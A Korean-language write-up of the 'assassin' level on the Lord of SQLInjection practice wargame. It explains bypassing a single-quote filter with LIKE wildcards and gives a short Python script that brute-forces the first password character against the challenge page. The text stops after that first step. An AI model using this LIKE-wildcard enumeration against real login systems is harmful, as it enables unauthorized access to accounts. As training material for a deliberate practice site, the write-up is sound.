[Lord of SQLInjection] assassin write-up

Lord of SQLInjection (assassin)

풀이

이번 문제는 pw 파라미터에 싱글쿼터를 필터링하고 있다. 이를 우회하고 id 값이 admin이면 해결인 것 같다.

pw 파라미터 값이 들어가는 쿼리를 살펴보면 싱글쿼터로 각각 닫혀져 있어 like 연산자에서 싱글쿼터를 굳이 입력하지 않아도 해결 가능할 것 같다. 아 근데 where 조건이 pw였다. like 연산자는 % 문자로 모든 값을 만족시킬 수 있다. 따라서 넣어보면 id가 guest로 나온다.

아래 코드로 string 모듈을 사용해 들어갈 수 있는 모든 문자를 하나씩 앞에 넣어 확인해보면 guest의 password 첫 글자가 9라는거 말고는 Hello admin 문자열이 안나온 걸로 봐서 admin도 첫 글자가 9라는 것을 예상해볼 수 있다.

import requests
import string

password_all = string.digits + string.ascii_letters + string.punctuation
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"

cookie = {"PHPSESSID": "l4fo5d8u56opaucpiffcbfvver"}

for i in range(0, len(password_all)):
    param = {"pw": f"{password_all[i]}%"}
    r = requests.get(url=url, cookies=cookie, params=param)
    print(r.text.splitlines()[0])
    if "Hello admin" in r.text:
        print(f"{password_all[i]}")
        break
    if "hello guest" in r.text:
        print(f"{password_all[i]}")